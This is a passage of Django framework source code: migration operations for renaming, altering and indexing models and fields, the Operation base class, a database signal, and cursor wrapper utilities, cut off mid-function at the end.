        state.remove_model(app_label, self.name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        model = from_state.apps.get_model(app_label, self.name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            schema_editor.delete_model(model)

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        model = to_state.apps.get_model(app_label, self.name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            schema_editor.create_model(model)

    def describe(self):
        return "Delete model %s" % (self.name, )


class RenameModel(ModelOperation):
    """
    Renames a model.
    """

    def __init__(self, old_name, new_name):
        self.old_name = old_name
        self.new_name = new_name
        super(RenameModel, self).__init__(old_name)

    @cached_property
    def old_name_lower(self):
        return self.old_name.lower()

    @cached_property
    def new_name_lower(self):
        return self.new_name.lower()

    def deconstruct(self):
        kwargs = {
            'old_name': self.old_name,
            'new_name': self.new_name,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        apps = state.apps
        model = apps.get_model(app_label, self.old_name)
        model._meta.apps = apps
        # Get all of the related objects we need to repoint
        all_related_objects = (
            f for f in model._meta.get_fields(include_hidden=True)
            if f.auto_created and not f.concrete and (not f.hidden or f.many_to_many)
        )
        # Rename the model
        state.models[app_label, self.new_name_lower] = state.models[app_label, self.old_name_lower]
        state.models[app_label, self.new_name_lower].name = self.new_name
        state.remove_model(app_label, self.old_name_lower)
        # Repoint the FKs and M2Ms pointing to us
        for related_object in all_related_objects:
            if related_object.model is not model:
                # The model being renamed does not participate in this relation
                # directly. Rather, a superclass does.
                continue
            # Use the new related key for self referential related objects.
            if related_object.related_model == model:
                related_key = (app_label, self.new_name_lower)
            else:
                related_key = (
                    related_object.related_model._meta.app_label,
                    related_object.related_model._meta.model_name,
                )
            new_fields = []
            for name, field in state.models[related_key].fields:
                if name == related_object.field.name:
                    field = field.clone()
                    field.remote_field.model = "%s.%s" % (app_label, self.new_name)
                new_fields.append((name, field))
            state.models[related_key].fields = new_fields
            state.reload_model(*related_key)
        # Repoint M2Ms with through pointing to us
        related_models = {
            f.remote_field.model for f in model._meta.fields
            if getattr(f.remote_field, 'model', None)
        }
        model_name = '%s.%s' % (app_label, self.old_name)
        for related_model in related_models:
            if related_model == model:
                related_key = (app_label, self.new_name_lower)
            else:
                related_key = (related_model._meta.app_label, related_model._meta.model_name)
            new_fields = []
            changed = False
            for name, field in state.models[related_key].fields:
                if field.is_relation and field.many_to_many and field.remote_field.through == model_name:
                    field = field.clone()
                    field.remote_field.through = '%s.%s' % (app_label, self.new_name)
                    changed = True
                new_fields.append((name, field))
            if changed:
                state.models[related_key].fields = new_fields
                state.reload_model(*related_key)
        state.reload_model(app_label, self.new_name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        new_model = to_state.apps.get_model(app_label, self.new_name)
        if self.allow_migrate_model(schema_editor.connection.alias, new_model):
            old_model = from_state.apps.get_model(app_label, self.old_name)
            # Move the main table
            schema_editor.alter_db_table(
                new_model,
                old_model._meta.db_table,
                new_model._meta.db_table,
            )
            # Alter the fields pointing to us
            for related_object in old_model._meta.related_objects:
                if related_object.related_model == old_model:
                    model = new_model
                    related_key = (app_label, self.new_name_lower)
                else:
                    model = related_object.related_model
                    related_key = (
                        related_object.related_model._meta.app_label,
                        related_object.related_model._meta.model_name,
                    )
                to_field = to_state.apps.get_model(
                    *related_key
                )._meta.get_field(related_object.field.name)
                schema_editor.alter_field(
                    model,
                    related_object.field,
                    to_field,
                )
            # Rename M2M fields whose name is based on this model's name.
            fields = zip(old_model._meta.local_many_to_many, new_model._meta.local_many_to_many)
            for (old_field, new_field) in fields:
                # Skip self-referential fields as these are renamed above.
                if new_field.model == new_field.related_model or not new_field.remote_field.through._meta.auto_created:
                    continue
                # Rename the M2M table that's based on this model's name.
                old_m2m_model = old_field.remote_field.through
                new_m2m_model = new_field.remote_field.through
                schema_editor.alter_db_table(
                    new_m2m_model,
                    old_m2m_model._meta.db_table,
                    new_m2m_model._meta.db_table,
                )
                # Rename the column in the M2M table that's based on this
                # model's name.
                schema_editor.alter_field(
                    new_m2m_model,
                    old_m2m_model._meta.get_field(old_model._meta.model_name),
                    new_m2m_model._meta.get_field(new_model._meta.model_name),
                )

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        self.new_name_lower, self.old_name_lower = self.old_name_lower, self.new_name_lower
        self.new_name, self.old_name = self.old_name, self.new_name

        self.database_forwards(app_label, schema_editor, from_state, to_state)

        self.new_name_lower, self.old_name_lower = self.old_name_lower, self.new_name_lower
        self.new_name, self.old_name = self.old_name, self.new_name

    def references_model(self, name, app_label=None):
        return (
            name.lower() == self.old_name_lower or
            name.lower() == self.new_name_lower
        )

    def describe(self):
        return "Rename model %s to %s" % (self.old_name, self.new_name)

    def reduce(self, operation, in_between, app_label=None):
        if (isinstance(operation, RenameModel) and
                self.new_name_lower == operation.old_name_lower):
            return [
                RenameModel(
                    self.old_name,
                    operation.new_name,
                ),
            ]
        # Skip `ModelOperation.reduce` as we want to run `references_model`
        # against self.new_name.
        return (
            super(ModelOperation, self).reduce(operation, in_between, app_label=app_label) or
            not operation.references_model(self.new_name, app_label)
        )


class AlterModelTable(ModelOperation):
    """
    Renames a model's table
    """

    def __init__(self, name, table):
        self.table = table
        super(AlterModelTable, self).__init__(name)

    def deconstruct(self):
        kwargs = {
            'name': self.name,
            'table': self.table,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        state.models[app_label, self.name_lower].options["db_table"] = self.table
        state.reload_model(app_label, self.name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        new_model = to_state.apps.get_model(app_label, self.name)
        if self.allow_migrate_model(schema_editor.connection.alias, new_model):
            old_model = from_state.apps.get_model(app_label, self.name)
            schema_editor.alter_db_table(
                new_model,
                old_model._meta.db_table,
                new_model._meta.db_table,
            )
            # Rename M2M fields whose name is based on this model's db_table
            for (old_field, new_field) in zip(old_model._meta.local_many_to_many, new_model._meta.local_many_to_many):
                if new_field.remote_field.through._meta.auto_created:
                    schema_editor.alter_db_table(
                        new_field.remote_field.through,
                        old_field.remote_field.through._meta.db_table,
                        new_field.remote_field.through._meta.db_table,
                    )

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        return self.database_forwards(app_label, schema_editor, from_state, to_state)

    def describe(self):
        return "Rename table for %s to %s" % (
            self.name,
            self.table if self.table is not None else "(default)"
        )

    def reduce(self, operation, in_between, app_label=None):
        if isinstance(operation, (AlterModelTable, DeleteModel)) and self.name_lower == operation.name_lower:
            return [operation]
        return super(AlterModelTable, self).reduce(operation, in_between, app_label=app_label)


class ModelOptionOperation(ModelOperation):
    def reduce(self, operation, in_between, app_label=None):
        if isinstance(operation, (self.__class__, DeleteModel)) and self.name_lower == operation.name_lower:
            return [operation]
        return super(ModelOptionOperation, self).reduce(operation, in_between, app_label=app_label)


class FieldRelatedOptionOperation(ModelOptionOperation):
    def reduce(self, operation, in_between, app_label=None):
        if (isinstance(operation, FieldOperation) and
                self.name_lower == operation.model_name_lower and
                not self.references_field(operation.model_name, operation.name)):
            return [operation, self]
        return super(FieldRelatedOptionOperation, self).reduce(operation, in_between, app_label=app_label)


class AlterUniqueTogether(FieldRelatedOptionOperation):
    """
    Changes the value of unique_together to the target one.
    Input value of unique_together must be a set of tuples.
    """
    option_name = "unique_together"

    def __init__(self, name, unique_together):
        unique_together = normalize_together(unique_together)
        self.unique_together = set(tuple(cons) for cons in unique_together)
        super(AlterUniqueTogether, self).__init__(name)

    def deconstruct(self):
        kwargs = {
            'name': self.name,
            'unique_together': self.unique_together,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        model_state = state.models[app_label, self.name_lower]
        model_state.options[self.option_name] = self.unique_together
        state.reload_model(app_label, self.name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        new_model = to_state.apps.get_model(app_label, self.name)
        if self.allow_migrate_model(schema_editor.connection.alias, new_model):
            old_model = from_state.apps.get_model(app_label, self.name)
            schema_editor.alter_unique_together(
                new_model,
                getattr(old_model._meta, self.option_name, set()),
                getattr(new_model._meta, self.option_name, set()),
            )

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        return self.database_forwards(app_label, schema_editor, from_state, to_state)

    def references_field(self, model_name, name, app_label=None):
        return (
            self.references_model(model_name, app_label) and
            (
                not self.unique_together or
                any((name in together) for together in self.unique_together)
            )
        )

    def describe(self):
        return "Alter %s for %s (%s constraint(s))" % (self.option_name, self.name, len(self.unique_together or ''))


class AlterIndexTogether(FieldRelatedOptionOperation):
    """
    Changes the value of index_together to the target one.
    Input value of index_together must be a set of tuples.
    """
    option_name = "index_together"

    def __init__(self, name, index_together):
        index_together = normalize_together(index_together)
        self.index_together = set(tuple(cons) for cons in index_together)
        super(AlterIndexTogether, self).__init__(name)

    def deconstruct(self):
        kwargs = {
            'name': self.name,
            'index_together': self.index_together,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        model_state = state.models[app_label, self.name_lower]
        model_state.options[self.option_name] = self.index_together
        state.reload_model(app_label, self.name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        new_model = to_state.apps.get_model(app_label, self.name)
        if self.allow_migrate_model(schema_editor.connection.alias, new_model):
            old_model = from_state.apps.get_model(app_label, self.name)
            schema_editor.alter_index_together(
                new_model,
                getattr(old_model._meta, self.option_name, set()),
                getattr(new_model._meta, self.option_name, set()),
            )

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        return self.database_forwards(app_label, schema_editor, from_state, to_state)

    def references_field(self, model_name, name, app_label=None):
        return (
            self.references_model(model_name, app_label) and
            (
                not self.index_together or
                any((name in together) for together in self.index_together)
            )
        )

    def describe(self):
        return "Alter %s for %s (%s constraint(s))" % (self.option_name, self.name, len(self.index_together or ''))


class AlterOrderWithRespectTo(FieldRelatedOptionOperation):
    """
    Represents a change with the order_with_respect_to option.
    """

    def __init__(self, name, order_with_respect_to):
        self.order_with_respect_to = order_with_respect_to
        super(AlterOrderWithRespectTo, self).__init__(name)

    def deconstruct(self):
        kwargs = {
            'name': self.name,
            'order_with_respect_to': self.order_with_respect_to,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        model_state = state.models[app_label, self.name_lower]
        model_state.options['order_with_respect_to'] = self.order_with_respect_to
        state.reload_model(app_label, self.name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        to_model = to_state.apps.get_model(app_label, self.name)
        if self.allow_migrate_model(schema_editor.connection.alias, to_model):
            from_model = from_state.apps.get_model(app_label, self.name)
            # Remove a field if we need to
            if from_model._meta.order_with_respect_to and not to_model._meta.order_with_respect_to:
                schema_editor.remove_field(from_model, from_model._meta.get_field("_order"))
            # Add a field if we need to (altering the column is untouched as
            # it's likely a rename)
            elif to_model._meta.order_with_respect_to and not from_model._meta.order_with_respect_to:
                field = to_model._meta.get_field("_order")
                if not field.has_default():
                    field.default = 0
                schema_editor.add_field(
                    from_model,
                    field,
                )

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        self.database_forwards(app_label, schema_editor, from_state, to_state)

    def references_field(self, model_name, name, app_label=None):
        return (
            self.references_model(model_name, app_label) and
            (
                self.order_with_respect_to is None or
                name == self.order_with_respect_to
            )
        )

    def describe(self):
        return "Set order_with_respect_to on %s to %s" % (self.name, self.order_with_respect_to)


class AlterModelOptions(ModelOptionOperation):
    """
    Sets new model options that don't directly affect the database schema
    (like verbose_name, permissions, ordering). Python code in migrations
    may still need them.
    """

    # Model options we want to compare and preserve in an AlterModelOptions op
    ALTER_OPTION_KEYS = [
        "base_manager_name",
        "default_manager_name",
        "get_latest_by",
        "managed",
        "ordering",
        "permissions",
        "default_permissions",
        "select_on_save",
        "verbose_name",
        "verbose_name_plural",
    ]

    def __init__(self, name, options):
        self.options = options
        super(AlterModelOptions, self).__init__(name)

    def deconstruct(self):
        kwargs = {
            'name': self.name,
            'options': self.options,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        model_state = state.models[app_label, self.name_lower]
        model_state.options = dict(model_state.options)
        model_state.options.update(self.options)
        for key in self.ALTER_OPTION_KEYS:
            if key not in self.options and key in model_state.options:
                del model_state.options[key]
        state.reload_model(app_label, self.name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        pass

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        pass

    def describe(self):
        return "Change Meta options on %s" % (self.name, )


class AlterModelManagers(ModelOptionOperation):
    """
    Alters the model's managers
    """

    serialization_expand_args = ['managers']

    def __init__(self, name, managers):
        self.managers = managers
        super(AlterModelManagers, self).__init__(name)

    def deconstruct(self):
        return (
            self.__class__.__name__,
            [self.name, self.managers],
            {}
        )

    def state_forwards(self, app_label, state):
        model_state = state.models[app_label, self.name_lower]
        model_state.managers = list(self.managers)
        state.reload_model(app_label, self.name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        pass

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        pass

    def describe(self):
        return "Change managers on %s" % (self.name, )


class IndexOperation(Operation):
    option_name = 'indexes'

    @cached_property
    def model_name_lower(self):
        return self.model_name.lower()


class AddIndex(IndexOperation):
    """
    Add an index on a model.
    """

    def __init__(self, model_name, index):
        self.model_name = model_name
        if not index.name:
            raise ValueError(
                "Indexes passed to AddIndex operations require a name "
                "argument. %r doesn't have one." % index
            )
        self.index = index

    def state_forwards(self, app_label, state):
        model_state = state.models[app_label, self.model_name_lower]
        model_state.options[self.option_name].append(self.index)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            schema_editor.add_index(model, self.index)

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        model = from_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            schema_editor.remove_index(model, self.index)

    def deconstruct(self):
        kwargs = {
            'model_name': self.model_name,
            'index': self.index,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs,
        )

    def describe(self):
        return 'Create index %s on field(s) %s of model %s' % (
            self.index.name,
            ', '.join(self.index.fields),
            self.model_name,
        )


class RemoveIndex(IndexOperation):
    """
    Remove an index from a model.
    """

    def __init__(self, model_name, name):
        self.model_name = model_name
        self.name = name

    def state_forwards(self, app_label, state):
        model_state = state.models[app_label, self.model_name_lower]
        indexes = model_state.options[self.option_name]
        model_state.options[self.option_name] = [idx for idx in indexes if idx.name != self.name]

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        model = from_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            from_model_state = from_state.models[app_label, self.model_name_lower]
            index = from_model_state.get_index_by_name(self.name)
            schema_editor.remove_index(model, index)

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            to_model_state = to_state.models[app_label, self.model_name_lower]
            index = to_model_state.get_index_by_name(self.name)
            schema_editor.add_index(model, index)

    def deconstruct(self):
        kwargs = {
            'model_name': self.model_name,
            'name': self.name,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs,
        )

    def describe(self):
        return 'Remove index %s from %s' % (self.name, self.model_name)






from __future__ import unicode_literals

from django.db import router


class Operation(object):
    """
    Base class for migration operations.

    It's responsible for both mutating the in-memory model state
    (see db/migrations/state.py) to represent what it performs, as well
    as actually performing it against a live database.

    Note that some operations won't modify memory state at all (e.g. data
    copying operations), and some will need their modifications to be
    optionally specified by the user (e.g. custom Python code snippets)

    Due to the way this class deals with deconstruction, it should be
    considered immutable.
    """

    # If this migration can be run in reverse.
    # Some operations are impossible to reverse, like deleting data.
    reversible = True

    # Can this migration be represented as SQL? (things like RunPython cannot)
    reduces_to_sql = True

    # Should this operation be forced as atomic even on backends with no
    # DDL transaction support (i.e., does it have no DDL, like RunPython)
    atomic = False

    # Should this operation be considered safe to elide and optimize across?
    elidable = False

    serialization_expand_args = []

    def __new__(cls, *args, **kwargs):
        # We capture the arguments to make returning them trivial
        self = object.__new__(cls)
        self._constructor_args = (args, kwargs)
        return self

    def deconstruct(self):
        """
        Returns a 3-tuple of class import path (or just name if it lives
        under django.db.migrations), positional arguments, and keyword
        arguments.
        """
        return (
            self.__class__.__name__,
            self._constructor_args[0],
            self._constructor_args[1],
        )

    def state_forwards(self, app_label, state):
        """
        Takes the state from the previous migration, and mutates it
        so that it matches what this migration would perform.
        """
        raise NotImplementedError('subclasses of Operation must provide a state_forwards() method')

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        """
        Performs the mutation on the database schema in the normal
        (forwards) direction.
        """
        raise NotImplementedError('subclasses of Operation must provide a database_forwards() method')

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        """
        Performs the mutation on the database schema in the reverse
        direction - e.g. if this were CreateModel, it would in fact
        drop the model's table.
        """
        raise NotImplementedError('subclasses of Operation must provide a database_backwards() method')

    def describe(self):
        """
        Outputs a brief summary of what the action does.
        """
        return "%s: %s" % (self.__class__.__name__, self._constructor_args)

    def references_model(self, name, app_label=None):
        """
        Returns True if there is a chance this operation references the given
        model name (as a string), with an optional app label for accuracy.

        Used for optimization. If in doubt, return True;
        returning a false positive will merely make the optimizer a little
        less efficient, while returning a false negative may result in an
        unusable optimized migration.
        """
        return True

    def references_field(self, model_name, name, app_label=None):
        """
        Returns True if there is a chance this operation references the given
        field name, with an optional app label for accuracy.

        Used for optimization. If in doubt, return True.
        """
        return self.references_model(model_name, app_label)

    def allow_migrate_model(self, connection_alias, model):
        """
        Returns if we're allowed to migrate the model.

        This is a thin wrapper around router.allow_migrate_model() that
        preemptively rejects any proxy, swapped out, or unmanaged model.
        """
        if not model._meta.can_migrate(connection_alias):
            return False

        return router.allow_migrate_model(connection_alias, model)

    def reduce(self, operation, in_between, app_label=None):
        """
        Return either a list of operations the actual operation should be
        replaced with or a boolean that indicates whether or not the specified
        operation can be optimized across.
        """
        if self.elidable:
            return [operation]
        elif operation.elidable:
            return [self]
        return False

    def __repr__(self):
        return "<%s %s%s>" % (
            self.__class__.__name__,
            ", ".join(map(repr, self._constructor_args[0])),
            ",".join(" %s=%r" % x for x in self._constructor_args[1].items()),
        )






from .fields import AddField, AlterField, RemoveField, RenameField
from .models import (
    AddIndex, AlterIndexTogether, AlterModelManagers, AlterModelOptions,
    AlterModelTable, AlterOrderWithRespectTo, AlterUniqueTogether, CreateModel,
    DeleteModel, RemoveIndex, RenameModel,
)
from .special import RunPython, RunSQL, SeparateDatabaseAndState

__all__ = [
    'CreateModel', 'DeleteModel', 'AlterModelTable', 'AlterUniqueTogether',
    'RenameModel', 'AlterIndexTogether', 'AlterModelOptions', 'AddIndex',
    'RemoveIndex', 'AddField', 'RemoveField', 'AlterField', 'RenameField',
    'SeparateDatabaseAndState', 'RunSQL', 'RunPython',
    'AlterOrderWithRespectTo', 'AlterModelManagers',
]






from __future__ import unicode_literals

from django.db.models.fields import NOT_PROVIDED
from django.utils.functional import cached_property

from .base import Operation


class FieldOperation(Operation):
    def __init__(self, model_name, name):
        self.model_name = model_name
        self.name = name

    @cached_property
    def model_name_lower(self):
        return self.model_name.lower()

    @cached_property
    def name_lower(self):
        return self.name.lower()

    def is_same_model_operation(self, operation):
        return self.model_name_lower == operation.model_name_lower

    def is_same_field_operation(self, operation):
        return self.is_same_model_operation(operation) and self.name_lower == operation.name_lower

    def references_model(self, name, app_label=None):
        return name.lower() == self.model_name_lower

    def references_field(self, model_name, name, app_label=None):
        return self.references_model(model_name) and name.lower() == self.name_lower

    def reduce(self, operation, in_between, app_label=None):
        return (
            super(FieldOperation, self).reduce(operation, in_between, app_label=app_label) or
            not operation.references_field(self.model_name, self.name, app_label)
        )


class AddField(FieldOperation):
    """
    Adds a field to a model.
    """

    def __init__(self, model_name, name, field, preserve_default=True):
        self.field = field
        self.preserve_default = preserve_default
        super(AddField, self).__init__(model_name, name)

    def deconstruct(self):
        kwargs = {
            'model_name': self.model_name,
            'name': self.name,
            'field': self.field,
        }
        if self.preserve_default is not True:
            kwargs['preserve_default'] = self.preserve_default
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        # If preserve default is off, don't use the default for future state
        if not self.preserve_default:
            field = self.field.clone()
            field.default = NOT_PROVIDED
        else:
            field = self.field
        state.models[app_label, self.model_name_lower].fields.append((self.name, field))
        state.reload_model(app_label, self.model_name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        to_model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, to_model):
            from_model = from_state.apps.get_model(app_label, self.model_name)
            field = to_model._meta.get_field(self.name)
            if not self.preserve_default:
                field.default = self.field.default
            schema_editor.add_field(
                from_model,
                field,
            )
            if not self.preserve_default:
                field.default = NOT_PROVIDED

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        from_model = from_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, from_model):
            schema_editor.remove_field(from_model, from_model._meta.get_field(self.name))

    def describe(self):
        return "Add field %s to %s" % (self.name, self.model_name)

    def reduce(self, operation, in_between, app_label=None):
        if isinstance(operation, FieldOperation) and self.is_same_field_operation(operation):
            if isinstance(operation, AlterField):
                return [
                    AddField(
                        model_name=self.model_name,
                        name=operation.name,
                        field=operation.field,
                    ),
                ]
            elif isinstance(operation, RemoveField):
                return []
            elif isinstance(operation, RenameField):
                return [
                    AddField(
                        model_name=self.model_name,
                        name=operation.new_name,
                        field=self.field,
                    ),
                ]
        return super(AddField, self).reduce(operation, in_between, app_label=app_label)


class RemoveField(FieldOperation):
    """
    Removes a field from a model.
    """

    def deconstruct(self):
        kwargs = {
            'model_name': self.model_name,
            'name': self.name,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        new_fields = []
        for name, instance in state.models[app_label, self.model_name_lower].fields:
            if name != self.name:
                new_fields.append((name, instance))
        state.models[app_label, self.model_name_lower].fields = new_fields
        state.reload_model(app_label, self.model_name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        from_model = from_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, from_model):
            schema_editor.remove_field(from_model, from_model._meta.get_field(self.name))

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        to_model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, to_model):
            from_model = from_state.apps.get_model(app_label, self.model_name)
            schema_editor.add_field(from_model, to_model._meta.get_field(self.name))

    def describe(self):
        return "Remove field %s from %s" % (self.name, self.model_name)


class AlterField(FieldOperation):
    """
    Alters a field's database column (e.g. null, max_length) to the provided new field
    """

    def __init__(self, model_name, name, field, preserve_default=True):
        self.field = field
        self.preserve_default = preserve_default
        super(AlterField, self).__init__(model_name, name)

    def deconstruct(self):
        kwargs = {
            'model_name': self.model_name,
            'name': self.name,
            'field': self.field,
        }
        if self.preserve_default is not True:
            kwargs['preserve_default'] = self.preserve_default
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        if not self.preserve_default:
            field = self.field.clone()
            field.default = NOT_PROVIDED
        else:
            field = self.field
        state.models[app_label, self.model_name_lower].fields = [
            (n, field if n == self.name else f)
            for n, f in
            state.models[app_label, self.model_name_lower].fields
        ]
        state.reload_model(app_label, self.model_name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        to_model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, to_model):
            from_model = from_state.apps.get_model(app_label, self.model_name)
            from_field = from_model._meta.get_field(self.name)
            to_field = to_model._meta.get_field(self.name)
            if not self.preserve_default:
                to_field.default = self.field.default
            schema_editor.alter_field(from_model, from_field, to_field)
            if not self.preserve_default:
                to_field.default = NOT_PROVIDED

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        self.database_forwards(app_label, schema_editor, from_state, to_state)

    def describe(self):
        return "Alter field %s on %s" % (self.name, self.model_name)

    def reduce(self, operation, in_between, app_label=None):
        if isinstance(operation, RemoveField) and self.is_same_field_operation(operation):
            return [operation]
        elif isinstance(operation, RenameField) and self.is_same_field_operation(operation):
            return [
                operation,
                AlterField(
                    model_name=self.model_name,
                    name=operation.new_name,
                    field=self.field,
                ),
            ]
        return super(AlterField, self).reduce(operation, in_between, app_label=app_label)


class RenameField(FieldOperation):
    """
    Renames a field on the model. Might affect db_column too.
    """

    def __init__(self, model_name, old_name, new_name):
        self.old_name = old_name
        self.new_name = new_name
        super(RenameField, self).__init__(model_name, old_name)

    @cached_property
    def old_name_lower(self):
        return self.old_name.lower()

    @cached_property
    def new_name_lower(self):
        return self.new_name.lower()

    def deconstruct(self):
        kwargs = {
            'model_name': self.model_name,
            'old_name': self.old_name,
            'new_name': self.new_name,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        # Rename the field
        state.models[app_label, self.model_name_lower].fields = [
            (self.new_name if n == self.old_name else n, f)
            for n, f in state.models[app_label, self.model_name_lower].fields
        ]
        # Fix index/unique_together to refer to the new field
        options = state.models[app_label, self.model_name_lower].options
        for option in ('index_together', 'unique_together'):
            if option in options:
                options[option] = [
                    [self.new_name if n == self.old_name else n for n in together]
                    for together in options[option]
                ]
        state.reload_model(app_label, self.model_name_lower)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        to_model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, to_model):
            from_model = from_state.apps.get_model(app_label, self.model_name)
            schema_editor.alter_field(
                from_model,
                from_model._meta.get_field(self.old_name),
                to_model._meta.get_field(self.new_name),
            )

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        to_model = to_state.apps.get_model(app_label, self.model_name)
        if self.allow_migrate_model(schema_editor.connection.alias, to_model):
            from_model = from_state.apps.get_model(app_label, self.model_name)
            schema_editor.alter_field(
                from_model,
                from_model._meta.get_field(self.new_name),
                to_model._meta.get_field(self.old_name),
            )

    def describe(self):
        return "Rename field %s on %s to %s" % (self.old_name, self.model_name, self.new_name)

    def references_field(self, model_name, name, app_label=None):
        return self.references_model(model_name) and (
            name.lower() == self.old_name_lower or
            name.lower() == self.new_name_lower
        )

    def reduce(self, operation, in_between, app_label=None):
        if (isinstance(operation, RenameField) and
                self.is_same_model_operation(operation) and
                self.new_name_lower == operation.old_name_lower):
            return [
                RenameField(
                    self.model_name,
                    self.old_name,
                    operation.new_name,
                ),
            ]
        # Skip `FieldOperation.reduce` as we want to run `references_field`
        # against self.new_name.
        return (
            super(FieldOperation, self).reduce(operation, in_between, app_label=app_label) or
            not operation.references_field(self.model_name, self.new_name, app_label)
        )






from django.dispatch import Signal

connection_created = Signal(providing_args=["connection"])












from __future__ import unicode_literals

import datetime
import decimal
import hashlib
import logging
from time import time

from django.conf import settings
from django.utils.encoding import force_bytes
from django.utils.timezone import utc

logger = logging.getLogger('django.db.backends')


class CursorWrapper(object):
    def __init__(self, cursor, db):
        self.cursor = cursor
        self.db = db

    WRAP_ERROR_ATTRS = frozenset(['fetchone', 'fetchmany', 'fetchall', 'nextset'])

    def __getattr__(self, attr):
        cursor_attr = getattr(self.cursor, attr)
        if attr in CursorWrapper.WRAP_ERROR_ATTRS:
            return self.db.wrap_database_errors(cursor_attr)
        else:
            return cursor_attr

    def __iter__(self):
        with self.db.wrap_database_errors:
            for item in self.cursor:
                yield item

    def __enter__(self):
        return self

    def __exit__(self, type, value, traceback):
        # Ticket #17671 - Close instead of passing thru to avoid backend
        # specific behavior. Catch errors liberally because errors in cleanup
        # code aren't useful.
        try:
            self.close()
        except self.db.Database.Error:
            pass

    # The following methods cannot be implemented in __getattr__, because the
    # code must run when the method is invoked, not just when it is accessed.

    def callproc(self, procname, params=None):
        self.db.validate_no_broken_transaction()
        with self.db.wrap_database_errors:
            if params is None:
                return self.cursor.callproc(procname)
            else:
                return self.cursor.callproc(procname, params)

    def execute(self, sql, params=None):
        self.db.validate_no_broken_transaction()
        with self.db.wrap_database_errors:
            if params is None:
                return self.cursor.execute(sql)
            else:
                return self.cursor.execute(sql, params)

    def executemany(self, sql, param_list):
        self.db.validate_no_broken_transaction()
        with self.db.wrap_database_errors:
            return self.cursor.executemany(sql, param_list)


class CursorDebugWrapper(CursorWrapper):

    # XXX callproc isn't instrumented at this time.

    def execute(self, sql, params=None):
        start = time()
        try:
            return super(CursorDebugWrapper, self).execute(sql, params)
        finally:
            stop = time()
            duration = stop - start
            sql = self.db.ops.last_executed_query(self.cursor, sql, params)
            self.db.queries_log.append({
                'sql': sql,
                'time': "%.3f" % duration,
            })
            logger.debug(
                '(%.3f) %s; args=%s', duration, sql, params,
                extra={'duration': duration, 'sql': sql, 'params': params}
            )

    def executemany(self, sql, param_list):
        start = time()
        try:
            return super(CursorDebugWrapper, self).executemany(sql, param_list)
        finally:
            stop = time()
            duration = stop - start
            try:
                times = len(param_list)
            except TypeError:           # param_list could be an iterator
                times = '?'
            self.db.queries_log.append({
                'sql': '%s times: %s' % (times, sql),
                'time': "%.3f" % duration,
            })
            logger.debug(
                '(%.3f) %s; args=%s', duration, sql, param_list,
                extra={'duration': duration, 'sql': sql, 'params': param_list}
            )


###############################################
# Converters from database (string) to Python #
###############################################

def typecast_date(s):
    return datetime.date(*map(int, s.split('-'))) if s else None  # returns None if s is null


def typecast_time(s):  # does NOT store time zone information
